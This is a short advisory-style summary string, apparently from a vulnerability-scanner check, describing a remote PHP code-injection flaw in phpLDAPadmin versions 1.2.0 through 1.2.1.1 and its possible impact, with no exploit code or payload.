tag_summary = "phpLDAPadmin is prone to a remote PHP code-injection vulnerability.

An attacker can exploit this issue to inject and execute arbitrary PHP
code in the context of the affected application. This may facilitate a
compromise of the application and the underlying system; other attacks
are also possible.

phpLDAPadmin versions 1.2.0 through 1.2.1.1 are vulnerable.";
